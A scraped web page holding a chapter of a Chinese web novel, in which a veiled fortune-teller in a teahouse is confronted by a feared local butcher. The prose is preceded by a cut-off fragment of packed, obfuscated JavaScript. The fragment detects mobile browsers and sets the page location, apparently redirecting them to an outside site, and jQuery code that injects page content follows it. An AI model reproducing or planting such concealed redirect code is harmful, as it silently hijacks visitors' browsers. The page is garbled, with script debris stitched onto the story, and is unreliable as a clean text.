d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895194|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去跟《水浒传》里的李逵差不多。 姜庭芜正百无聊赖地坐在桌前,没有手机打发时间,她便开始给自己找点乐子,最近迷上话本,她便一有闲暇就掏出来看,今日碰巧走得匆忙,话本落在客栈里,只好另寻他事来消磨时光。 当罗屠夫八面迎风地走进茶楼时,姜庭芜正忙着拿几枚铜板在桌上玩叠叠乐。 门口的小厮认得他,慌忙迎上去点头哈腰。 “哟,我说怎么今早还听到外头喜鹊在叫,寻思今日定有喜事发生。这不,罗爷大驾光临,您一来啊,咱这小地方立马蓬荜生辉……”小厮巧舌如簧,说着还给旁边跟班的伙计使眼色,让他赶紧去楼上请掌柜下来迎接。 罗屠夫没理他,大摇大摆径直走进来,扫视了茶楼一圈。中午茶楼里人还不少,在交谈生意的商人,喝酒划拳的江湖游侠和激烈讨论时事的文人墨客间,他一眼瞧见角落的姜庭芜。 她没摘帷帽,今天外面冷,姜庭芜在外面还多披了一件鹤氅,端庄的气质在一群大老爷们的屋里格外显眼。 罗屠夫推开谄媚跟在身边想邀请他去楼上坐的小厮,径直朝着姜庭芜走去。 他趾高气扬地站在姜庭芜面前,她连头都没抬,小心翼翼地把最后一枚铜板放到十个铜板叠成的“塔”上,结果桌子不稳,刚放上去,整个“塔”一歪,轰然倒塌。 姜庭芜惋惜地“哎呀”一声,方才抬头看来者是谁。 一堵“墙”立在她眼前,罗屠夫个子不高,人又因为各种肥肉的营养堆积,导致身体往横向生长。 众人被他欺负得敢怒不敢言,只能在背后偷偷骂他,张口就是“你看那杀猪罗,长得跟冬瓜似的,横竖一边宽,也不知道在威风什么!” 吓唬孩子的时候也喜欢提他:“你看看你,不听话送你去给杀猪罗当徒弟,倒时候不听话可不是苕帚伺候,而是拿杀猪刀砍你!” 所以在永安城,杀猪罗简直就是瘟神,人们唯恐避之不及。 而他现在站在姜庭芜面前,所有人都替她捏了把汗:恐怕是凶多吉少。 小厮终于把信息禀报给掌柜,他从二楼探出头,看见罗屠夫气势汹汹地站在姜庭芜面前,吓了一大跳,赶忙三步并作两步,下楼赶到罗屠夫身边。 “哎哟,我在楼上就听见声音了,还以为是谁来了,没想到是罗爷——稀客呀!来人上好茶,我要好好招待一番罗爷!” “不必了谢掌柜,今儿来,大爷我是来会会这个姑娘的。”罗屠夫凶狠的目光落在姜庭芜身上,“听闻街坊邻居都在议论,说着姑娘算命准,就想着大爷我今天也来算一算,不知姑娘是否方便——” 茶楼里不知什么时候安静下来,胆子小的已经偷偷溜走,生怕惹祸上身。剩余的人也都有经验,围绕着罗屠夫一桌之内的地方寸“人”不生。 姜庭芜不紧不慢地给自己倒了杯茶,又倒了杯给罗屠夫,动作气定神闲,仿佛面前只是一个普通百姓。 “坐吧,算命嘛先别急,请你喝杯茶。”姜庭芜的声音轻轻柔柔地从白色的帷帽后面传出来,还带着点戏谑的笑意。 四周的百姓不自觉坐直身子,大气都不敢喘地注视着二人。